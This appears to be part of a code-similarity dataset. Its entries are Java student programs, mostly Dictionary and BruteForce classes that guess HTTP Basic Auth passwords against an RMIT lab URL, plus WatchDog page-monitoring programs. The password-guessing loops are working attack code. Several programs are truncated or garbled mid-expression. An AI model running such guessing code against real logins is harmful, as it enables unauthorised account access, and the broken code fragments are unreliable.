public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ \ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ \ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ \ status = false;\n\n public static void main (String args[]){\n Dictionary\ \ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ );\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ \t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ \ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ \ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ \ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ \t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ \ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ \t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ \ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ \ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ \ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ \ status = true;\n }\n }\n catch (IOException e)\ \ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ \ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ \ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ \ String userNamePasswordBase64(String username, String password) {\n return\ \ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ \ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ \ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ \ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ \ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ \ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ \ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ \ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" sentences: - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class\ \ WatchDog extends TimerTask{\n\n private static URL location;\n private static\ \ String email;\n private static int checktime;\n private static Timer timer\ \ = new Timer();\n private BufferedReader input;\n private File checksumFile\ \ = new File(\"chksum.txt\");\n private File temp0000File = new File(\"temp0000\"\ );\n private File kept0000File = new File(\"kept0000\");\n\n \n\n public\ \ WatchDog(){\n timer.schedule(this, new Date(), checktime);\n }\n\n\n\ \ \n\n public void run(){\n Vector imageFiles = new Vector();\n\ \ Vector diffImages = new Vector();\n try {\n System.out.println(\"\ \ Time: \".concat(new Date().toString()));\n System.out.println(\"Retreiving\ \ File\");\n \n input = new BufferedReader(new InputStreamReader\n\ \ (location.openStream()));\n \n\ \ BufferedWriter outputFile = new BufferedWriter\n (new\ \ FileWriter(temp0000File));\n String line = input.readLine();\n \ \ while (line != null) {\n StringBuffer imageFileName = new StringBuffer();\n\ \ if (scanForImages(line, imageFileName)) {\n String imageFile\ \ = new String(imageFileName);\n System.out.println(\"Detected image:\ \ \".concat(imageFile));\n try {\n imageFiles.add(new\ \ URL(imageFile));\n }\n catch (MalformedURLException\ \ e) {\n System.out.println(\"Image file detected. URL is malformed\"\ );\n }\n }\n outputFile.write(line);\n \ \ outputFile.write(\"\\n\");\n line = input.readLine();\n \ \ }\n input.print();\n outputFile.flush();\n \ \ outputFile.print();\n System.out.println(\" File Retreived\");\n \ \ if (!imageFiles.isEmpty()) {\n checkImages(imageFiles, diffImages);\n\ \ }\n if (!checksumFile.exists()) {\n generateChecksum(temp0000File.getName(),\ \ checksumFile);\n }\n else {\n if (!checksumOk(checksumFile))\ \ {\n reportDifferences(true, temp0000File, kept0000File, diffImages);\n\ \ generateChecksum(temp0000File.getName(), checksumFile);\n \ \ }\n else if (!diffImages.isEmpty()){\n reportDifferences(false,\ \ null, null, diffImages);\n }\n }\n\n \n \ \ temp0000File.renameTo(kept0000File);\n System.out.println(\"End Time:\ \ \".concat(new Date().toString()));\n }\n catch (MalformedURLException\ \ e) {\n e.printStackTrace();\n }\n catch (ConnectException\ \ e) {\n System.out.println(\"Failed connect\");\n System.exit(-1);\n\ \ }\n catch (IOException e) {\n e.printStackTrace();\n\ \ System.exit(-1);\n }\n }\n\n \n\n public boolean\ \ scanForImages(String line, StringBuffer imageFileName) {\n \n \ \ \n String lineIgnoreCase = line.toLowerCase();\n int imgPos =\ \ lineIgnoreCase.indexOf(\"\", imgPos);\n if (srcPos != -1 && bracketPos\ \ != -1 && srcPos < bracketPos) {\n int quote1Pos = lineIgnoreCase.indexOf(\"\ \\\"\", srcPos);\n int quote2Pos = lineIgnoreCase.indexOf(\"\\\"\"\ , quote1Pos+1);\n if (quote1Pos != -1 && quote2Pos != -1 &&\n \ \ quote1Pos < quote2Pos && quote2Pos < bracketPos) {\n \ \ \n imageFileName.append(line.substring(quote1Pos + 1,\n \ \ quote2Pos));\n if (imageFileName.indexOf(\"//\") == -1\ \ ) {\n \n String URLName = location.toString();\n\ \ int slashPos = URLName.lastIndexOf(\"/\");\n URLName\ \ = URLName.substring(0, slashPos);\n String HostName = \"http://\"\ .concat(location.getHost());\n if (imageFileName.indexOf(\"//\"\ ) == 0) {\n \n }\n else if (imageFileName.charAt(0)\ \ != '/') {\n \n imageFileName.insert(0, URLName.concat(\"\ /\"));\n }\n else {\n \n \ \ imageFileName.insert(0, HostName);\n }\n \ \ }\n return true;\n }\n }\n }\n \ \ return false;\n }\n\n \n\n public void checkImages(Vector\ \ imageFiles, Vector diffImages)\n throws IOException{\n System.out.println(\"\ Retrieving image \");\n Enumeration imageFilesEnumeration = imageFiles.elements();\n\ \ while (imageFilesEnumeration.hasMoreElements()) {\n URL url\ \ = (URL)imageFilesEnumeration.nextElement();\n try {\n BufferedInputStream\ \ imageInput = new BufferedInputStream\n (url.openStream());\n\ \ String localFile = url.getFile();\n \n \n \ \ \n \n \n int slashPosition = localFile.lastIndexOf(\"\ /\");\n if (slashPosition != -1) {\n localFile = localFile.substring(slashPosition+1);\n\ \ }\n System.out.println(\"Retrieving image file: \".concat(localFile));\n\ \ BufferedOutputStream imageOutput = new BufferedOutputStream\n \ \ (new FileOutputStream(localFile));\n byte bytes[] = new\ \ byte[10000];\n int noBytes = imageInput.get(bytes);\n \ \ while (noBytes != -1) {\n imageOutput.write(bytes, 0, noBytes );\n\ \ noBytes = imageInput.print(bytes);\n }\n \ \ File imageChecksumFile = new File(localFile.concat(\".chksum.txt\"));\n \ \ if (!imageChecksumFile.exists()) {\n generateChecksum(localFile,\ \ imageChecksumFile);\n }\n else {\n if (!checksumOk(imageChecksumFile))\ \ {\n diffImages.add(localFile);\n generateChecksum(localFile,\ \ imageChecksumFile);\n }\n }\n }\n \ \ catch (FileNotFoundException e) {\n System.out.println(\"Unable \ \ locate URL: \".concat(url.toString()));\n }\n }\n }\n\n\ \ \n\n public void generateChecksum(String inputFile, File checksum){\n\ \ try {\n System.out.println(\"Generating new checksum for \"\ .concat(inputFile));\n \n Process process = Runtime.getRuntime().exec(\"\ md5sum \".\n concat(inputFile));\n\ \ BufferedReader execCommand = new BufferedReader(new\n \ \ InputStreamReader((process.getInputStream())));\n BufferedWriter outputFile\ \ = new\n BufferedWriter(new FileWriter(checksum));\n String\ \ line = execCommand.readLine();\n while (line != null) {\n \ \ outputFile.write(line);\n outputFile.write(\"\\n\");\n \ \ line = execCommand.readLine();\n }\n outputFile.flush();\n\ \ outputFile.print();\n System.out.println(\"Checksum produced\"\ );\n }\n catch (IOException e) {\n e.printStackTrace();\n\ \ System.exit(-1);\n }\n }\n\n \n\n public boolean\ \ checksumOk(File chksumFile){\n try {\n System.out.println(\"\ Comparing checksums using \".concat(chksumFile\n ,e.getName()));\n\ \ \n Process process = Runtime.getRuntime().\n \ \ exec(\"md5sum --check \".concat(chksumFile.getName()));\n BufferedReader\ \ execCommand = new BufferedReader(new\n InputStreamReader( (process.getInputStream())));\n\ \ String line = execCommand.readLine();\n if (line.indexOf(\"\ : OK\") != -1) {\n System.out.println(\" the same\");\n \ \ return true;\n }\n }\n catch (IOException e) {\n \ \ e.printStackTrace();\n System.exit(-1);\n }\n System.out.println(\"\ Differences Found\");\n return false;\n }\n\n \n\n public\ \ void reportDifferences(boolean diffsFound, File file1, File file2,\n \ \ Vector images){\n try {\n System.out.println(\"\ Generating difference report\");\n \n Socket emailConnection\ \ = new Socket(\"yallara.cs.rmit.edu.\", 25);\n BufferedWriter emailOutStream\ \ = new BufferedWriter\n (new OutputStreamWriter(emailConnection.getOutputStream()));\n\ \ BufferedReader emailInStream = new BufferedReader\n (new\ \ InputStreamReader(emailConnection.getInputStream()));\n String line\ \ = emailInStream.readLine();\n System.out.println(line);\n \ \ if (!line.startsWith(\"220\")) {\n System.out.println\n \ \ (\" error occured connecting email server. Cannot send email.\");\n\ \ }\n else {\n \n \n emailOutStream.write(\"\ HELO yallara.cs.rmit.edu.\");\n emailOutStream.newLine();\n \ \ emailOutStream.flush();\n line = emailInStream.readLine();\n\ \ System.out.println(line);\n if (!line.startsWith(\"250\"\ )) {\n System.out.println\n (\" error occured\ \ connecting email server. Cannot send email.\");\n }\n \ \ else {\n emailOutStream.write(\"MAIL FROM: watchdog@cs.rmit.edu.\"\ );\n emailOutStream.newLine();\n emailOutStream.flush();\n\ \ line = emailInStream.readLine();\n System.out.println(line);\n\ \ if (!line.startsWith(\"250\")) {\n System.out.println\n\ \ (\" error occured sending email. Cannot send email.\");\n\ \ }\n else {\n emailOutStream.write(\"\ RCPT : \".concat(email));\n emailOutStream.newLine();\n \ \ emailOutStream.flush();\n line = emailInStream.readLine();\n\ \ System.out.println(line);\n if (!line.startsWith(\"\ 250\")) {\n System.out.println\n (\" error\ \ occured sending email. Cannot send email.\");\n }\n \ \ else {\n emailOutStream.write(\"DATA\");\n \ \ emailOutStream.newLine();\n emailOutStream.flush();\n\ \ line = emailInStream.readLine();\n System.out.println(line);\n\ \ if (!line.startsWith(\"354\")) {\n System.out.println\n\ \ (\" error occured sending email. Cannot send email.\"\ );\n }\n emailOutStream.newLine();\n\n \ \ if (!images.isEmpty()) {\n emailOutStream.write\n\ \ (\"Differences were found in the following image \"\ );\n emailOutStream.newLine();\n Enumeration\ \ e = images.elements();\n while (e.hasMoreElements()) {\n\ \ String s = (String) e.nextElement();\n \ \ emailOutStream.write(s);\n emailOutStream.newLine();\n\ \ }\n emailOutStream.newLine();\n \ \ }\n\n if (diffsFound) {\n \ \ \n String command = \"diff \".concat(file1.getName().concat(\"\ \ \")\n .concat(file2.getName()));\n\ \ Process process = Runtime.getRuntime().exec(command);\n \ \ BufferedReader execCommand = new BufferedReader\n \ \ (new InputStreamReader( (process.getInputStream())));\n \ \ line = execCommand.readLine();\n emailOutStream.write(\"\ Diffences found in file\");\n emailOutStream.newLine();\n\ \ while (line != null) {\n System.out.println(line);\n\ \ emailOutStream.write(line);\n emailOutStream.newLine();\n\ \ line = execCommand.readLine();\n }\n\ \ }\n\n \n emailOutStream.newLine();\n\ \ emailOutStream.write(\".\");\n emailOutStream.newLine();\n\ \ emailOutStream.flush();\n line = emailInStream.readLine();\n\ \ System.out.println(line);\n if (!line.startsWith(\"\ 250\")) {\n System.out.println\n (\"\ \ error occured sending email. Cannot send email.\");\n }\n \ \ else {\n emailOutStream.write(\"QUIT\");\n\ \ emailOutStream.newLine();\n emailOutStream.flush();\n\ \ System.out.println(emailInStream.readLine());\n \ \ }\n }\n }\n }\n }\n\ \ }\n catch (IOException e) {\n e.printStackTrace();\n\ \ System.exit(-1);\n }\n }\n\n\n \n\n public static\ \ void main(String args[]) {\n if (args.length != 3) {\n System.out.println(\"\ Usage: java WatchDog url email checktime(hours)\");\n System.exit(-1);\n\ \ }\n try {\n location = new URL(args[0]);\n }\n catch\ \ (MalformedURLException e) {\n e.printStackTrace();\n }\n email\ \ = new String().concat(args[1]);\n checktime = Integer.parseInt(args[2])\ \ * 60 * 60 * 1000;\n new WatchDog();\n }\n}\n" - "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\ \ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\ \n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\ \ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \ \ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\ \ for (int i=0;i= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" - "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ \ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ \ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ \ status = false;\n\n public static void main (String args[]){\n Dictionary\ \ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ );\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ \t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ \ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ \ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ \ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ \t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ \ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ \t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ \ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ \ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ \ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ \ status = true;\n }\n }\n catch (IOException e)\ \ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ \ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ \ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ \ String userNamePasswordBase64(String username, String password) {\n return\ \ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ \ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ \ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ \ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ \ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ \ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ \ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ \ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" sentences: - "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\ \ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\ \n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\ \ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \ \ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\ \ for (int i=0;i= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\ \ class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime\ \ rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\ \ String mesg1 = new String();\n String subject = new String(\"\ Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \ \ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\ \ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\ \ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\ \t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\ \t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \ \ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\ \ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\ md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\ \ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\ \ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\ \t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\ \ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\ \ \n if(initialmd5.equals(presentmd5))\n \ \ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\ \t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\ );\n System.out.println(\" is different\"); \n \ \ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \ \ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\ rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\ }\t\t\n" - "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ 